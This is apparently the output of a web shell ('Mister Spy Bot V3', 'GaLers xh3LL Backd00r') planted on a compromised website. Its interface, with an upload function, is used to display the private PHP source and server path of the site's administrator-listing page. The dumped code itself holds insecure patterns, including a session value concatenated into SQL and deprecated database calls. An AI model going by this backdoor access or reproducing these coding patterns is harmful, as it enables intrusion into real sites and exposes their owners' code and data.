Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/administradores.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 
$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];


$maxRows_rsAdministradores = 20;
$pageNum_rsAdministradores = 0;
if (isset($_GET['pageNum_rsAdministradores'])) {
  $pageNum_rsAdministradores = $_GET['pageNum_rsAdministradores'];
}
$startRow_rsAdministradores = $pageNum_rsAdministradores * $maxRows_rsAdministradores;

mysql_select_db($database_cnx, $cnx);
$query_rsAdministradores = "SELECT a.*, n.nivel FROM administradores a LEFT JOIN administradores_niveles n ON a.nivelID= n.nivelID ORDER BY n.nivel, a.administrador ASC";
$query_limit_rsAdministradores = sprintf("%s LIMIT %d, %d", $query_rsAdministradores, $startRow_rsAdministradores, $maxRows_rsAdministradores);
$rsAdministradores = mysql_query($query_limit_rsAdministradores, $cnx) or die(mysql_error());
$row_rsAdministradores = mysql_fetch_assoc($rsAdministradores); 

if (isset($_GET['totalRows_rsAdministradores'])) {
  $totalRows_rsAdministradores = $_GET['totalRows_rsAdministradores'];
} else {
  $all_rsAdministradores = mysql_query($query_rsAdministradores);
  $totalRows_rsAdministradores = mysql_num_rows($all_rsAdministradores);
}
$totalPages_rsAdministradores = ceil($totalRows_rsAdministradores/$maxRows_rsAdministradores)-1;

$queryString_rsAdministradores = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsAdministradores") == false && 
        stristr($param, "totalRows_rsAdministradores") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsAdministradores = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsAdministradores = sprintf("&totalRows_rsAdministradores=%d%s", $totalRows_rsAdministradores, $queryString_rsAdministradores);

$modulo="administradores";
$nivel=$_SESSION['MM_Group'];
$sql="SELECT * FROM `niveles_permisos` WHERE `nivel` =".$nivel." AND `modulo` = '".$modulo."'";
$qry=mysql_query($sql);
$row=mysql_fetch_array($qry);
if($row['ver']==0){
require("cartel_permisos.php");exit;
}


?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
  <tr>
    <td width="10" class="TituloRubro">&nbsp;</td>
    <td class="TituloRubro">&nbsp;</td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td><p class="tituloPagina">ADMINISTRADORES</p></td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" height="0" align="right">&nbsp;</td>
    <td height="0" align="right">&nbsp;</td>
  </tr>
  <tr>
		<?  if($row['alta']==1){?>
    <td width="20" height="25" align="right">
			<a href="provincias_add.php"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" /></a>	</td>
    <td align="right">
      
      <div align="left"><a href="administradores_add.php">Agregar</a>		
          </div></td><?  } ?>
  </tr>
</table>

	<?php if($totalRows_rsAdministradores > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>
	  <tr>
		<td height="20" align="right" valign="top">&nbsp;
	Registros <?php echo ($startRow_rsAdministradores + 1) ?> a <?php echo min($startRow_rsAdministradores + $maxRows_rsAdministradores, $totalRows_rsAdministradores) ?> de <?php echo $totalRows_rsAdministradores ?> </td>
	  </tr>
</table>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
	    <td width="10">&nbsp;</td>
	  		<td><strong>Nivel de Acceso </strong></td>
		    <td height="25"><strong>Nombre y Apellido </strong></td>
		    <td><strong>Nombre de Usuario</strong> </td>
		    <td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  <?php $nivel = '0as8d7';?>
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
	    <td width="10">&nbsp;</td>
	  		<td><?php 
					if($nivel!=$row_rsAdministradores['nivel'])
					{
						echo $row_rsAdministradores['nivel'];
						$nivel = $row_rsAdministradores['nivel'];
					}
			?>		</td>
		<td height="20"><?php echo $row_rsAdministradores['nya']; ?></td>
		<td height="20"><?php echo $row_rsAdministradores['administrador']; ?></td>
		<td width="100" height="20" align="center">
			<a href="#"></a>
			<?  if($row['modificacion']){?>
			<a href="administradores_mod.php?<?=$qry_string?>&administradorID=<?php echo $row_rsAdministradores['administradorID']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>
			<? } ?>
			<? if($row['baja']){?>
			<a href="administradores_del.php?<?=$qry_string?>&administradorID=<?php echo $row_rsAdministradores['administradorID']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" hspace="2" border="0" /></a>
			<? } ?>		</td>
	  </tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="5" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
    </tr>
	  <?php } while ($row_rsAdministradores = mysql_fetch_assoc($rsAdministradores)); ?>
</table>
	<table width="20%" border="0" align="center" cellpadding="0" cellspacing="0">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsAdministradores > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsAdministradores=%d%s", $currentPage, 0, $queryString_rsAdministradores); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsAdministradores > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsAdministradores=%d%s", $currentPage, max(0, $pageNum_rsAdministradores - 1), $queryString_rsAdministradores); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsAdministradores < $totalPages_rsAdministradores) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsAdministradores=%d%s", $currentPage, min($totalPages_rsAdministradores, $pageNum_rsAdministradores + 1), $queryString_rsAdministradores); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsAdministradores < $totalPages_rsAdministradores) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsAdministradores=%d%s", $currentPage, $totalPages_rsAdministradores, $queryString_rsAdministradores); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsAdministradores==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td align="center"><img src="iconos/alerta.gif" width="26" height="24" border="0" /></td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay provincias disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsAdministradores);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat